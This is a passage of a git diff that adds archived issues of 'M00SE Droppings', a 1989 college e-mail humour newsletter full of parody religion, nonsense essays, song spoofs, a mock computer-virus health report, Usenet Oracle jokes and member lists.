| <== A M E R I C A =<<< ********* ******** *************** | + | ****** ***** **Y********** | + | *************** ** **** ************ | + | ~~~~~~ *************** *** *I** *********** | + | ~~~~~ ~~ *******S****** ** ***** *********** | + | ~~~~~~ *P************* ~~ **** ********** | + | ~~ ************** ~~~ ****** ********** | + | ********** ~~~~ ***** ** ******* | + | N ~~~~ | + | | ****** Mediterranian ~~~~ | + | W--+--E **** ****************** ~~~~ | + | | **** ********************** | + | S *** A F R I C A /------------------| + | *** / (C)1988 Olaf Wendt + -------------------------------------------------------/ +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +From Bloop! Bloop bloop? BL00P! + +The Carnivorous Eggplant will make you free! + +"Free from what?" you may ask. But if you were truly free, then you would not +need to ask this question, for the Eggplant brings enlightenment. When you +fully believe in the Eggplant, you will at last KNOW from what (or from whom) +you have been freed. + +How can you become free? First, you must know the history of the Eggplant from +certain basic questions that must be asked. + + Q. Who is the Eggplant? + + A. The Eggplant is the Creator of All!! Its Holy Carnivorous created the + first humans, Irving and Hilda. They ate of green M&M's and learned of + lust. Thusly, they lived happily ever after. From lack of support, the + Eggplant developed amnesia and committed various horrible crimes for + which It must now atone. Only by strong belief in It may we free It from + Its amnesia, so It may rise from sewage, retaining Its purity. + + Q. What will the Eggplant do for ME? + + A. When the Eggplant is freed, It will in turn free the faithful. + Will you be one? + + Q. Where did the Eggplant come from? + + A. It was always here. + + Q. How can one worship the Eggplant? + + A. By giving sacrifices of green M&M's, spreading the word, and wearing + purple on alternate (or alternative) Wednesdays. + +Basic Facts about the Eggplant: + +The sacred day is Wednesday. +The sacred number is 17. +The Eggplant is loved everywhere. +The Holy Color is purple. +The second most Holy Color is green. + +Some sins committed by the Eggplant while in amnesia: + + 1. God. + 2. Centuries of bloody warfare. + 3. Centuries of bloody peace. + 4. Post-Natal depression. + 5. Ronald Reagan. + 6. Ronald McDonald. +** Applications for Messiah are now being carelessly screened ** +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Second in the Kinky Cat Sex Series: + + The Voyages of the Good Ship Censor + =================================== + + + The ship is white, her sails are square; + though often slow, she's everywhere. + Her name is boldly writ in back, + "The S.S. Censor", in blood and black. + + You may not know her from the fore, + she shoots, 'fore raising her flag of war. + But when freedom has died and lost the fray, + you know her name, as she sails away. + + She must be shunned, she carries a plague, + wherever she calls, she brings an ague. + Creative thoughts, quietly repressed, + 'til nothing new can be expressed. + + It's not the seas are her domain, + the sea she sails is your very brain. + So do not dare be different or strange, + for no-one's free from her far flung range. + + Even sailing winds of caution and care, + of the ship itself, you must still beware. + And when she catches a gale of hate, + the destruction done is especially great. + + Prudence Bland is the captain's name, + her cardinal rule, to keep things the same. + The ship is crewed by fearful souls, + they strive to play their appointed roles. + + Sex, is the captain's current foe, + the open expression of love must go. + But everything the captain hates, + must be hid from all, behind iron gates. + + What can keep this ship in check? + It's quite impossible to reck. + The only hope, is to teach the crew, + they have no right to blinker you. + + The captain never leaves the ship, + but needs a crew, to frenzy and whip. + The crew's still there to rely upon, + and the good ship Censor still sails on. + +Copyright 1988 +# Hugh D. Gamble (416) 267-6159 No Disclaimers. +# hugh@kink.UUCP +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From V093P9AX@UBVMS (Still no m00sey name in sight from this one....) + Things IV: Planal Darts + + INTRODUCTIoN +---------------------------- + Well, it just goes to show that we can all relate to things in general, +in private, and in lieutenant- colonel. When trying to cure acute loneliness +with a cute female, do not under or over any circumstances forget the +angioplasts. Then, rinse your eyes with some E.Coli. + + BoWLING FoR GAUZE PADS +--------------------------- + "Limberger, lumgrunkle, why are you shining so bright?" Please pass the +cheddar, I may die of cod. + The above is the main outcome of a conflict when trying to compile a +program in Modula-2 on a commodore Vic-20. One can question the existence of +tuna, but one won't fly to Japan on a Trump shuttle overnight. + +BACK TO THE QUESTION OF THINGS +------------------------------ + We still cannot deny the ever-present (opened and unopened) existence of +things, or what I call THINGS, or what I may refer to as MYCXAHJGWQQ, which, of +course, is pronounced , but is phoenetically spelled +, but in some cultures is spelled like the ancient +word for grock, which is JUNG!, but sounds like the sound made when you play +Gnip Gnop, and tastes like the taste you taste when you repair a motorcycle. + + MoRE NEGATIVE STIMULI +-------------------------------- + + NO! CATUSUSusES are our friends!! Don't mess with a wigwam!! It can +cause cancer of the hair. + + CLoSING THoUGHTS +-------------------------------- + + We have seen from this and earlier THINGS that we have gone quite far in +our reserach to dis- cover the reason for making research. Benefically, this was +started by Benny Fishelly. But, some things have changed, so I rewired the damn +thing and put the batteries in backwards, and now it works fine, but I don't get +good reception on April 31st. + ON TO THE FUTURE!!!!!! + +When in doubt, shoubt. + +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + + THE PETER DICRESCENZO CHAPTER OF THE M00SE ILLUMINATI + a.k.a. THE GRAHAM CHAPMAN MEMORIAL CHAPTER OF THE M00SE ILLUMINATI + + Bull M00se: Peter J. DiCrescenzo + Box 2004, Suite 128 + New Britain, CT 06050 + (203) 826-0448 + + Grand P00bah: Pete DiCrescenzo + P.O. Box 2004, Rm. 128 + New Britain, CT 06050 + (203) 826-0448 + + Treasurer: P. "Gumby" DiCrescenzo + Box 2004, Room 128 + New Britain, CT 06050 + (203) 826-0448 + +A brief history of the Peter DiCrescenzo Chapter of the Moose Illuminati now + follows; + +WARNING! The following brief history of the Peter DiCrescenzo Chapter of the +M00se Illuminati is NOT, repeat, NOT in any way, shape, or form related to the +erroneous previously mentioned following brief history of the Peter DiCrescenzo +Chapter of the Moose Illuminati. If one notices, the recently-re-mentioned, +erroneous previously mentioned following brief history of the Peter DiCrescenzo +Chapter of the Moose Illuminati has no '00' in 'M00se.' Rather, the +aforementioned recently-re-mentioned erroneous previously mentioned brief +history of the Peter DiCrescenzo Chapter of the Moose Illuminati has only two +very common and quite drab-and-awful lower-case oh's to speak of. It should be +noted that the scribe responsible for this error has been summarily executed +for willful conspiracy to present false and completely irrelevant information, +ergo, elk. + +[ The Bull M00se would prefer it known that the Scribe responsible for + correcting the pre-presentation of "The Brief History Of The Peter + DiCrescenzo Chapter of the M00se Illuminati" has been sacked, as there was no + such pre-presentation of "The Brief History Of The Peter DiCrescenzo Chapter + of the M00se Illuminati" WHATSOEVER, erroneous or otherwise, and he was quite + a silly person indeed. Similarly mistaken views may report to our Employee + and Associate Counselor, Bradford "Mongo the Bloody" Cambridge. ] + +IN THE EARLY FALL OF 1989, an incoming student at Central Connecticut State +University was beset by a slew of perplexing situations quite common to the +average Type-A personality profile, but a completely new kettle of fish to +his own experience. One morning, amid midterm exam blues and ARA Food Service +Aftershock in Memorial Hall (Cafe du Salmonella), a complete and total stranger +brusquely strode up to this student, placed his thumbs to either side of his +head, wiggled his open palms enthusiastically, whispered "bl00p," and walked +away, melting into the lunchtime crowds, not to be seen evermore. + +Hours later, befuddled and suffering from Post-ARA-Meatball syndrome, the +student puzzled and muddled over the strange occurrence that afternoon. +Countless attempts at explaining the phenomenon were to no avail; It could not +possibly have been someone from his classes. There was no chance at all it +would have been his RA. There was always the possibility, of course, that it +was someone from the Registration office. The errant student was about to +write it off as a stray Theatre Major when a series of convulsions brought on +by two obscure chemicals blended into the nominally edible cuisine he had +consumed happened to combine during digestion. His body shocked into a state +of utter disbelief, the student's consciousness fought to rise to a more +comfortable, if incoherent, state of being. + +A sensation not unlike wading through a sea of warm, cherry-flavored edible +massage oil washed over the student, and a voice, deep and ancient, rose from +the depths of the student's previously unenlightened spirit, carrying with it +an image, a symbol; a mighty m00se, melded with the form of an all-seeing +pyramid; and the voice imparted a great wisdom unto the student, for the m00se +spake but one word: + + "bl00p." + +And the student's soul was thus illuminated. + +Hiya! + + Peter DiCrescenzo "Ice Lord" + DICRESCE@CTSTATEU +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Michael Oose, a M00se for All Seasons + + +Michael Oose appears to be your ordinary sort of m00se. He's big and hairy, +with huge antlers and large (hairy, of course) nostrils. He consumes +vegetative matter for his sustenance, sleeps, and occasionally makes a little +m00se. He takes great pride in his antlers, keeping them nice and sharp and +mossy. + +Michael is a friendly sort of fellow, only occasionally goring a passer-by. +However, none of this is particularly remarkable. It is all well within +the norm of m00sedom. No, there are two things that make Michael unusual. +One is a membership in an organization, but we can't talk about that. There- +fore, we're going to discuss the second unusual facet of Michael Oose: he +is learning to program. + +At the moment, Michael is a compsci student at Drew University in Madison, +NJ. He is learning pascal, and is currently taking Csci 5. How has +Michael surmounted the difficulties inherent in being a m00se in a human +world? "It hasn't been easy," he admits. "For one thing, I can't stay in +a normal dorm room, I can't eat with everyone else, I can't type on a +keyboard due to my hooves, and I have to lay low during hunting season." +Michael uses a special pointer device held in his teeth to type, in a +manner similar to that of severely paralyzed humans. When asked if he is +having any particular problems with the course load, his only comment is +that "packed arrays are kind of tough." + +How has this m00se learned the art of verbal communication, of human speech? +When asked, he looks shy and smiles, in a m00sey sort of way and claims that +it's all due to his mother. + +Michael is also an exceptional athlete. He is a prized member of Drew +University's Rugby Football Club, making both an impact on the social +scene as well as raising the overall GPA of the team with his 3.3 cumulative +average. He says he would also like to do a radio show on the campus radio +station, WMNJ, but he cannot fit into the studio. Poor Michael. + +Are there more m00ses like Michael? He will not say. However, the portion +of the story that we were not allowed to tell indicates that there may be +a vast network of m00ses poised to enter the upper echelons and corridors +of power in American society, and perhaps all over the world. What kind +of world will they bring? Who knows. We almost didn't include this last bit +because you'd think it was a paranoid, crackpot idea. However, can you +be totally certain? + + + _ /\ _ + / \_/\_/ \_/\_/ \ + \_____/ () \_____/ + / \ + / \__/ \ + /__________\ +(From M00SE@DRUNIVAC) + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + I haven't heard from Darkling M00se, so I'm sending this issue out +without the update. But we are switching to a new method. Every 5th issue (i.e. +35, 40,...) will have a complete list, and all others will just have the +changes, additions, deletions, etc. since the last issue. +-------------------------------------------------------------------------------- +'Nointy Issue - 'Nointy Issue - 'Nointy Issue - 'Nointy Issue - 'Nointy Issue - +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se34 b/textfiles.com/magazines/M00SE/m00se34 new file mode 100644 index 00000000..f21350d2 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se34 @@ -0,0 +1,551 @@ +-------------------------------------------------------------------------------- +Earwax Issue - Earwax Issue - Earwax Issue - Earwax Issue - Earwax Issue - Earwa +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #34| Disclaimer: The Editors will place almost anything in |Dec. 01, 1989 +---------- this newsletter out of a frantic desire to fill the -------------- +issue, so don't blame them for the quality or content of the submissions. Except +-ing those they may have written themselves, the enclosed items do not in any +way represent the Editors' fnord opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +************************************* STAFF ************************************ +-------------------------------------------------------------------------------- + Editor - Patrick Salsbury + Submissions to: DangerM00se + Back issue requests: Max Handelsman + and Johnathan Clemens + or + M00se List updates and changes: Darkling M00se + (This space to let): Contact WarM00se +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +Hello again! And welcome to Church Chat! (Oops! Wrong personality cartridge! +Sorry!) + Hi! Happy December! I hope all you happy Turkey eaters in America +(Remember, this is a world-wide, globally conscious conspiracy group, and not +everyone celebrates Thanksgiving) had a good holiday, gorged yourselves silly, +etc. And are now all happy to get back and get your 'Droppings. + One quick plug for what I feel is a pretty good cause: + As the Christmas Holidays approach, remember those who DIDN'T +get to have a nice Thanksgiving Dinner, and probably won't have a good Christmas +or New Years, unless we help. Buy an inexpensive toy, (Or grab one of yours from +you room, I know *I'VE* got a bunch of old stuff! I'm a pack-rat! :) ) and a +can or two of food, and donate them to a local charity. There are lots of +collection places springing up now, keep an eye out for them. After all, we are +supposed to confuse the masses, but we can also help out those who need it. + EAT THE RICH! ;^) + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Would you belive I had not one, but TWO Beez sightings last week?? + +What can this portend?? does it mean the end of the world?? does it +mean I've finally lost the last of my marbles and am hallucinating? +does it mean Elvis really IS alive? does it mean that Sun workstations +really ARE possessed by the devil????? + +-GypsyLynx + +Coming soon to a store near you, the ultimate in m00sey breakfast cereal: +Fruit Bl00ps with Toucan m00se ("Follow your ears, your wonderful ears, to the +flavor of bl00ps!) --*AND*-- New, Chocolate Bl00ps! +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From "Toast, Sex, & Fig Newtons" + +Any m00ses out there desiring a copy of the Snarbist +many/fisto (manifesto, for those of you not phonetically inclined), +send a SASE to: + + Arnold Snarb + Box 84494 + Fairbanks, Alaska 99708 + +So, what is the Snarbist many/fisto? Nothing really important, +truth be told, but it's fun to xerox off and distribute around +campus. If we're not too tight on $, several other meaningless flyers +by Arnold Snarb will be enclosed with the many/fisto. + + Th/hank/s, + + Mugwump +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +From Joanne Rosenshein +========================================================================= + + The Surgeon General's Report on AIDS + (All Internal Destruction Subprograms) + + The Surgeon General's office report a computer virus of epidemic + proportions growing in the computing community. These viruses + are deadly and there is no known single cure for all of the + strains. The virus attacks the comupter where it has the least + defense: the operating system. Then it slowly destroys the + system by slowly eliminating small portions of data. The + original strain has been shown to be suppressed by the program + AZT (Anti-Zealous program Terminator), but the product may be + over-marketed, and lesss effective than promised. Additional + strains have shown little effect when exposed to this program. + A virus may be contained in a disk or memory for long periods of + time before showing any of the effects. Some are time triggered + to go off at certain times (Columbus day, Fri 13, Halloween, + ect.) but all viruses seem to have some effect on all of its + victims. + + Some users and computers are at greater risk than others. Those + computers that communucate with their own kind (homocommunals) + are the apparant target of many viruses, although the virus can + be communicated to other computer types, as well. Those + computers using DOS seem to have the highest concentration of + the virus, compared to non-DOS machines. Data recovery experts + are often exposed to viruses by accidentally putting their own + disk into an infected computer, or having an infected disk used + on their own systems. These experts should take extreme care in + workign in these environments so they will not contract the + disease. Virus hunters have much the same risk. + + The Surgeon General's office reccomends the following measures + to the US Government and its citizens: + + 1) Don't do DOS. If you MUST dont share your disks, or at least + use a cleansing program on those disks before using them. + + 2) Do NOT copy programs from another computer, or if you must, + try to only copy programs with another or a small, closed + group that has been tested for the virus, and do NOT have it. + There must be NO outside input into this group, or the whole + group may be exposed. + + 3) Avoid BBS's and Software pools known to carry illegal or high + risk programs that have been uploaded and downloaded. + Especially those that require payment for copy priviledges. + + 4) Also, we should regulate and heavily test all Public Domain + programs and distributors and recovery specialists for signs + of the viruses. These are especially at risk since they + draw programs from those who don't know that they have the + virus, or those that don't know that it is contageous. + + + The Surgeon General's office feels that these precautions will + curtail the spread and magnitude of the disease, if the public + is willing to act now. Soon, everybody in the nation will know + someone with the virus, and you may have to work next to a + computer that has it. + + C. Chicken Coop +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Still no word on M.I. T-shirts. I think they're just a myth. + "A what?" + "MYTH! MYTH!" + "Yeth?" +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Submissions are starting to lag. Send in your material! +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Dominations are on the rise. Stock up on your whips! :) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Mega-Thr0ng-A-Thon? + Where? + Big M00se, NY? + Sounds good to me! When? + Dunno. Maybe in the spring? Maybe as soon as school lets out (May-ish)? +Maybe over winter break? + SEND IN YOUR IDEAS! +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- +(*Right about now, you are about to be possesed by the sounds of Emcee M00se +Base and DJ EZ M00se*) + +Hit it! + +Bl00p! Yeah! Bl00p! Yeah! Bl00p! Yeah! Bl00p! Yeah! Bl00p! Yeah! + +It takes m00se to make a thing go right! +It takes m00se to make it outa site! + +It takes m00se to make a thing go right! +It takes m00se to make it outa site! + +Hit it! + +I wanna m00se right now! +I'm M00se Base and I've come to get cow! +I'm not internationally known. +But, I can eat a microphone! +Because I am stupid and outrageous! +Get away because it's contagious! +Because I'm a window, no not a cruiser. +Bein' insane is what I choose-uh. +Ladies snub me. Girls abhore me. +I mean even the ones who never saw me. +Hate the way that I pick my nose. +The reason why, man, I don't know. +So, lets blow chunks! + +(Bl00p! Yeah!)It takes bl00p to make a thing go right! +(Bl00p! Yeah!)It takes m00se to fill my appetite! + +(Bl00p! Yeah!)It takes bl00p to make a thing go right! +(Bl00p! Yeah!)It takes m00se to fill my appetite! +******************************************************************************** + RuprechtM00se + RN:1814 +ps-I have the tape of the real song. And the words sound exactly like this. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +[Wow! A double-shot of RuprechtM00se! Pretty hip, eh? :) -Pat] + +Description: what is a wilbury? +Submitted by RuprechtM00se +(Originally From V201LRXA@UBVMS) + + the original wilburys were a stationary people who, realising that their +civilisation could not stand still forever, began to go for short walks - not +the "traveling" as we now know it, but certainly as far as the corner and back. +they must have taken to motion, in much the same way as penguins were at that +time taking to ledges, for the next we hear of them they were going out for the +day (often taking lunch or a picnic). + later - we dont as yet know how MUCH later - some intrepid wilburys +began to go away for the weekend, leaving late friday and coming back sunday. it +was they who evolved simple rhythmic forms to describe their adventures. + + a remarkable sophisticated musical culture developed, considering there +were no managers or agents, and the further the wilburys traveled the more +adventurous their music became, and the more it was revered by the elders of +thetribe who believed it had the power to stave off madness, turn brunettes into +blondes and increase the size of their ears. + + but as the wilburys began to go further and further in their search for +musical inspiration they found themselves the object of interest among many +lessdeveloped species - night-club owners, tour operators and recording +executives. + to the wilburys, who had only just learnt to cope with wives, roadies +and drummers, it was a blow from which many of them never recovered. they became +hairdressers or tv rental salespersons. + + but a tiny handful survived - the last of the traveling wilburys - and +the songs gathered here represent the popular laments, the epic and heroic +taleswhich characterise the apotheosis of the elusive wilbury sound. the message +of the music travels, as indeed they traveled and as i myself must travel for +further treatment. good listening, good night, and let thy wilbury done... + +sleeve note (c) hugh jampton, e.f. nori-bitz reader in applied jacket, faculty +of sleeve notes, university of krakatoa (east of java) + +wilbury record company is a subdivision of the trans-wilbury corporation of +bulgaria. + +and that, my friends, is a traveling wilbury. +the supreme wilbury +******************************************************************************** +this is possibly good for the newsletter, huh? You never publish my stuff*. + RuprechtM00se +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Here's a copy of the M00se Quiz and Its answers from somebody at Buffalo +The origional Quiz was deleted, This is the best I can do. + + +>1) Do m00se ever wear red jackets ? + + Yes there are three times: + a) They are waiters at a Chinese Restaurant + b) They live in a specific area of Ellicott + [Ed. note: UB has part of a housing complex (Ellicott) called + Red Jacket Quad -Pat] + c) They join the Shriners (Sit on a happy fez!) + -- that last comment applies to hats, not m00ses. + +>2) How would a m00se... + +> 2a) .....hot wire a car? + + The general m00se technique of car hotwiring does not actually + involve the wires. Since any respectable m00se carries around + a good assortment of Craftsman hand-tools, he simply uses a file + to file down his antlers into a key shape. This key-template can + be broken off and used as a key, or kept on the head, and copied + at a local hardware store. + + The second method is preferable to m00ses, as it is becoming + increasingly popular or m00ses to have sculpted antlers, and a + good set of keys is as attractive as a good Michelangelo copy. + + If all else fails, m00ses have been known to hire anarchists to + either hot wire it (using human methods), or blow it up (if it + was a particularly hard job, wasting much good antler space. + +> 2b) ....Pick up a girl in a club? + + Very carefully. Antlers can be damaging. + +> 2c) .........climb an elevator shaft ? + + What a silly question! But in case it's not obvious to everyone: + + He would hire a union crew to tip the entire onto its side, thus + creating a horizontal shaft. The m00se would gingerly walk up, + being a relative term, the shaft until the desired floor is reached. + The same union crew would then be re-hired to set the building up + in the position it was originally in -- ie: standing up. + + Climbing down the shaft is a bit trickier, and involves very + difficult quantum physics, the nature of which is proprietary, + and therefore cannot be divulged. + +>3) When is it a good time to avoid m00ses ? + + After they've been climbing elevator shafts. (Do you know how much + a union crew of building tippers costs these days??) + +>4) Can m00ses ever be charmed ? + + Yes. A good m00se costume of the opposite sex works, but is danger- + ous without chain-mail underwear around male m00ses. + + Another good method is giving them a free building tipping certifi- + cate, as the number of m00ses taking up this hobby is increasing + daily. + +>5) What's the average speed of a running m00se? + + For an automatic m00se, about 600 rpm. That's the normal idle. With + air conditioning, 750 is average. For manual m00ses, 500 with no A/C, + 650 with. These averages can be used for timing and tuning up. + + Actual speed of movement depends on the model. The older Bl00ick + Electras average only 90 or so, while the latest Antler-gini can + has been rumored to reach 200 miles an hour. + +>6) What do you do when a m00se wants to sell you a used car? + + First see if he has the proper license. There has been a rash of + m00ses opening up used car lots without licenses, which is ironic, + as a m00se's license to operate a car lot it much easier to get + then a human's. + + If the m00se can produce the license, make sure he/she is a m00se. + There are a bunch of unscrupulous humans out there wearing very + convincing m00se costumes, just so they can get a m00se license, + thus avoiding the necessary literacy and urine tests humans are + subjected to. An easy way of doing this is to look at the antlers. + A real m00se does not have mold seam lines, nor the words "MADE IN + JAPAN" imprinted anywhere. + + If you can determine that the m00se has a legitimate license and + is a real m00se, use the charming methods I outlined above to get + the best deal possible. (I saved over $8,800 on a '53 Studebaker + using this method.) + +>7) If a m00se is seen on a highway, what should a driver do? + + Pull off and take public transportation! M00ses are notoriously + bad drivers -- they're much better at selling cars. + + BL00P! + + Chris M00spaw +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- +From V093P9AX@UBVMS (Who STILL hasn't supplied a name of any sort, but it +doesn't really matter much, as this is the last episode of "Things" that I +have.) + +Here I go with THINGS V : DIETETIC GRASS +(yes, each sequel gets worse) + + PRUNES +----------------------- + Okay, a guy has no arms, no legs, and a face: what's he gonna do? If he +had only suscribed to SPY, he could have become ruler of Croatia. But no, he +went for curtain number 7. + + hopPING MAD +--------------------------- + Beneficially, we are often forced to do things that we find are necessary. +But they can be quite pleasant if you accuse it of lighting up in a subway sand- +wich. Non-metaphorically, life can be a bowl of francs if you mark it now and +yen with a lire of milk. + + TwO much to SOON +_______________________________ + Please, please, please, please, please, please, please, please, please, +please, please, please. Don't try it, you'll like it. I think it sucks when +things are cut off and continued at a later t + *******TO BE CONTINUED******* + [Maybe. -- Pat] +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Hey! I located an Oracle on USENET! I'm not sure if it's the same source as +previous Oracle stuff, but it's funny! :) + -Pat +-------------------------------------------------------------------------- +The Usenet Oracle has pondered your question deeply. +Your question was: + +> O Oracle most Unburdened with Mortal Affairs! Why is it, that no matter +> how hard you try, you can't bend a potato chip? + +And in response, thus spake the Oracle: + +} Seeker, you are trying too hard. You yourself must bend, like a blade +} of grass in the wind, before you can bend a potato chip. You must spend +} long years learning to center yourself, learning to quiet the multitude +} of voices in your mind, learning to be calm, learning to walk across +} vast bonfires, learning to chew with your mouth closed, learning to +} levitate and fly. Then, and only then, can you bend a potato chip. +} +} Or you could soak it in water for a day or two. +} +} -- the zen oracle +-------------------------------------------------------------------------- +> What is the meaning of lif? + +And in response, thus spake the Oracle: + +} Th meanin o lif i butterfl hoverin ove flowe. Th meanin o lif i lov an +} ligh an happines. Th meanin o lif i purit o spiri, an blessednes. Th +} meanin o lif i lif. +} +} Yo ow th oracl Ne Ag sourceboo. +-------------------------------------------------------------------------- +> Why have I never read an Ernest Hemmingway book that I thought was very +> good with the possible exception of the "Old Man and the Sea." Did he +> sell his soul to the devil as a claim to fame, or is it that I have no +> taste? + +And in response, thus spake the Oracle: + +} Ernest Hemingway lived in a simpler time. A time when men were men and +} women were women (except for Dorothy Parker, who was Marie of Romania, +} and Marilyn Monroe, who was an android from Mars, but it's basically +} accurate). A time when what was important was deeds. Deeds were +} important! Leins were pretty important too, and certificates of title, +} but deeds were king. So, anyways, Ernie wrote about deeds, but his +} editor said to him "Mr. Hemingway, you have no head for real estate.", +} so he wrote about other things instead. He also threatened to take +} several of the most important reviewers on drinking expeditions with him +} if they wrote bad reviews. +} +} He didn't sell his soul to the devil, although at one point he offered +} the devil Van Gogh's ear in exchange for a new typewriter. +} +} You owe the Oracle some AM radio jamming equipment. +-------------------------------------------------------------------------- +> What are text editors made of? + +And in response, thus spake the Oracle: + +} It depends on the editor. MacWrite is made from congealed sparrow farts +} woven together with absurdities. Most editors running on IBM PCen under +} DOS are made of cholera and bubonic plague germs compounded with the +} smell of rancid butter and marsh gas. Vi is made of the glint of +} moonlight on steel, the smell of violets, and the gurgle of a brook. +} Emacs is made from the glint of starlight on purest gold, the echo of +} distant thunder, the smell of a ``La Reine Victoria'' Bourbon rose, a +} reflection of a shy maiden's smile, and the taste of the best champagne. +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + Nothing this time. Sorry. +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- +I Bid Thee Greetings And Salutati0ns !!!!!!!!!!! +My Name is M00se... DArkling M00se! +And I'm here with y0ur issue by issue update: +But First An Edit0rial Resp0nse: + <*CENS0RED*> +That's right... Y0u've guessed it... N0w 0n with the c0untd0wn(I mean update :> + +)()()()))()()))()()()()()()()())()()NEw M00ses)()()()))()()()())()())()()()()( +Welc0me t0 the realm 0f M00sed0m: + Wizard M00se (MHANDELS@DREW) +BL00P! +Fr0m this day hence y0u are welc0med, Arise: + Ice L0rd (DICRESCE@CTSTATEU) +BL00p!! +Y0u have travelled far...Y0u t00 are welc0med: + Emile Leblanc (LEBLANCE@MATH.UT0RN0T0.CA) +Bl00p!!! +ALth0ugh y0u have n0 name Y0u are still Welc0med: + (TIETJEN@CTSTATEU) +BL00P!!!! +M00seketers 0f Marist, I salute thee: + Rescue M00se (STJT@MARISTB) + Sensu M00se (KKJM@MARISTB) + Raistie M00se (KJE2@MARISTB) +Bl00p!!!!! +I welc0me thee, Me thr0ng Su Thr0ng: + LadyBlue M00se (V087Q5JD@UBVMS) +BL00P!!!!!!!!! +And 0f C0urse we must n0t F0rget (Again ,S0rry :>) +Welc0me t0 thee: + W0rld M00se (V129J6ED@UBVMS) +BL00P!!!!!!!!!! +And t0 0ur fell0w M00se fr0m The Realm 0f the Net, + C0nsider Thyself A part 0f the Family: + -GreyF0xM00se (NET%"GREYF0X@UUNET.UU.NET") +BL00P!!!!!!!!!! + Greetings And Welc0me t0 the Newest Chapter(S0meday T0 be thr0ng!) + I Am Pr0ud t0 Welc0me Thee, James Madis0n University's first M00se. + Amy S. Fitzgerald (STU_ASFITZGE@JMUVAX1) +BL00P!!!!!!! + Last But n0t least, Greetings and Salutati0ns t0 the newest additi0ns t0 + 0ne 0f the Fastest Gr0wing Thr0ngs in the nati0n. SBCCVM !!! + Arise and Be C0unted As M00ses Am0ng M00ses, + I Bid thee Arise: + Mark R0vner (MR0VNER@SBCCVM) + Mike Mathews (ASYMPT0T@SBCCVM) + Chris Halecky (CHALECKEY@SBCCVM) + Drew Riggi0 (ARIGGI0@SBCCVM) + Dave Klingman (DKLINGMA@SBCCVM) + Steve War0nek (XRAYSR0K@SBCCVM) +BL00P!!!!!!!!!!!!!!!!!! + + Welc0me T0 all the new M00ses!!!!!!!! + +)()()()()()()()()()()(()(BE M00sey t0 each 0ther()())()()()(())(())()()()))( +0ne m0re thing... + I am sad t0 rep0rt that we have l0st a few m00ses. +(*SNIFFLE,SNIFFLE,SNIF,SNIF*) +G00d bye t0 : + "0ZER@CHEME.TN.C0RNELL.EDU" (D0n't take any w00den dr0ppings) + The entire 0ld D0mini0n Thr0ng!!! (Hasta Lueg0!!! DUDES!!) + 0h well, that's the way the the M00se chips crumble! + + (Y0U may BEH0LD and TREMBLE, n0w) + _ /\ _ + / \_/\_/ \_/\_/ \ + \_____/ () \_____/ + / \ + / \__/ \ + /__________\ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ / \_/\_/ \_/\_/ \ + \_____/ () \_____/ \_____/ () \_____/ + / \ DArkling / \ + / \__/ \ M00SE / \__/ \ +(J0M00se(*blush*)/__________\V123NKUX/__________\ *updates fr0m N0v 14-29* + )()()()()()()()()()()()()()(@UBVMSD)()(()()()()()()()()()()()()()()()()()()( +-------------------------------------------------------------------------------- +Earwax Issue - Earwax Issue - Earwax Issue - Earwax Issue - Earwax Issue - Earwa +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se35 b/textfiles.com/magazines/M00SE/m00se35 new file mode 100644 index 00000000..5a3e6208 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se35 @@ -0,0 +1,458 @@ +-------------------------------------------------------------------------------- +The Not So Pointy Or 'Nointy 